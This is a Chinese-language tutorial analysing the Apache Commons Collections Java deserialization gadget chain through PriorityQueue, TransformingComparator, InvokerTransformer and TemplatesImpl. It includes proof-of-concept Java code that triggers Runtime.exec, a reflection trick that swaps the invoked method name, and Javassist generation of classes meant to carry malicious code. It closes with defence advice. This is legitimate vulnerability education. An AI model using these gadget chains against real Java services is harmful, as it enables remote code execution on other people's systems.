Java反序列化漏洞-玄铁重剑之CommonsCollection(下)
字数 1236 2025-08-29 08:32:00
Java反序列化漏洞:CommonsCollections利用链分析(下)
前言
本文深入分析Apache Commons Collections反序列化漏洞的另一种利用链,重点讲解基于PriorityQueue类的攻击方式。这是"玄铁重剑"系列的第二部分,延续上篇内容,揭示CommonsCollections反序列化漏洞的更多利用技巧。
核心利用链分析
利用链概述
本次分析的执行链如下:
PriorityQueue.readObject()
-> PriorityQueue.heapify()
-> PriorityQueue.siftDown()
-> PriorityQueue.siftDownUsingComparator()
-> TransformingComparator.compare()
-> InvokerTransformer.transform()
关键类说明
- PriorityQueue:Java中的优先队列实现,基于堆数据结构
- TransformingComparator:Commons Collections中的比较器,可包装Transformer
- InvokerTransformer:Commons Collections中的Transformer实现,可通过反射调用方法
POC构造过程
基础调用结构
首先构造基本的TransformingComparator.compare()调用结构:
public static void main(final String[] args) throws Exception {
runcompare();
}
public static void runcompare(){
InvokerTransformer invokerTransformer= getInvokerTransformer();
TransformingComparator transformingComparator = new TransformingComparator(invokerTransformer);
Runtime runtime1 = Runtime.getRuntime();
transformingComparator.compare(runtime1, null);
}
public static InvokerTransformer getInvokerTransformer(){
String[] cmds = new String[]{"calc.exe"};
InvokerTransformer invokerTransformer = new InvokerTransformer(
"exec",
new Class[]{String[].class},
new Object[]{cmds}
);
return invokerTransformer;
}
完整POC尝试
尝试构造完整的PriorityQueue利用链:
public Queue<Object> getObject(final String command) throws Exception {
PriorityQueue queue = getPriorityQueue();
return queue;
}
public static PriorityQueue getPriorityQueue() throws Exception {
TransformingComparator transformingComparator = getTransformingComparator();
PriorityQueue priorityQueue = new PriorityQueue(1, transformingComparator);
priorityQueue.add(Runtime.getRuntime());
return priorityQueue;
}
public static TransformingComparator getTransformingComparator(){
InvokerTransformer invokerTransformer= getInvokerTransformer();
TransformingComparator transformingComparator = new TransformingComparator(invokerTransformer);
return transformingComparator;
}
public static InvokerTransformer getInvokerTransformer(){
String[] cmds = new String[]{"calc.exe"};
InvokerTransformer invokerTransformer = new InvokerTransformer(
"exec",
new Class[]{String[].class},
new Object[]{cmds}
);
return invokerTransformer;
}
问题发现:Runtime类不可序列化,直接使用会导致序列化失败。
解决方案:使用TemplatesImpl类
由于Runtime类不可序列化,转而使用TemplatesImpl类作为替代:
final Object templates = Gadgets.createTemplatesImpl(command);
final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
queue.add(templates);
queue.add(templates);
Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
return queue;
关键点:
- 使用
TemplatesImpl.newTransformer而非getTransletInstance(因为后者是private方法) - 通过反射修改
iMethodName字段,将初始的"toString"改为"newTransformer"
利用ClassPool生成恶意类
使用ClassPool动态生成恶意类:
public class Main {
public static void main(String[] args){
try {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("net.codersec.Person");
CtField ctField = new CtField(CtClass.intType, "name", ctClass);
ctField.setModifiers(Modifier.PUBLIC);
ctClass.addField(ctField);
byte[] bytes = ctClass.toBytecode();
FileOutputStream fileOutputStream = new FileOutputStream(new File("Person.class"));
fileOutputStream.write(bytes);
fileOutputStream.close();
} catch (Exception e) {
e.printStackTrace();
}
}
}
技巧:
- 可以在构造函数中加入恶意代码
- 也可以通过
insertAfter()在构造函数运行后执行恶意代码
替代利用链分析
除了InvokerTransformer.transform(),还可以利用InstantiateTransformer.transform():
PriorityQueue.readObject()
-> PriorityQueue.heapify()
-> PriorityQueue.siftDown()
-> PriorityQueue.siftDownUsingComparator()
-> TransformingComparator.compare()
-> InstantiateTransformer.transform()
-> com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter.newInstance()
-> TemplatesImpl.getTransletInstance()
-> Class.newInstance()
特点:
- 调用链更长更复杂
- 利用了
TrAXFilter构造函数中调用的TemplatesImpl.getTransletInstance()
防御建议
- 升级Commons Collections到安全版本(3.2.2+或4.1+)
- 使用Java反序列化过滤器(ObjectInputFilter)
- 避免反序列化不可信数据
- 考虑使用替代的序列化框架(如JSON、Protocol Buffers等)
总结
本文详细分析了CommonsCollections反序列化漏洞的另一种利用链,重点讲解了基于PriorityQueue和TemplatesImpl的攻击方式。通过动态生成恶意类、反射修改字段等技术,攻击者可以绕过Runtime不可序列化的限制,实现远程代码执行。防御此类漏洞需要综合应用多种安全措施。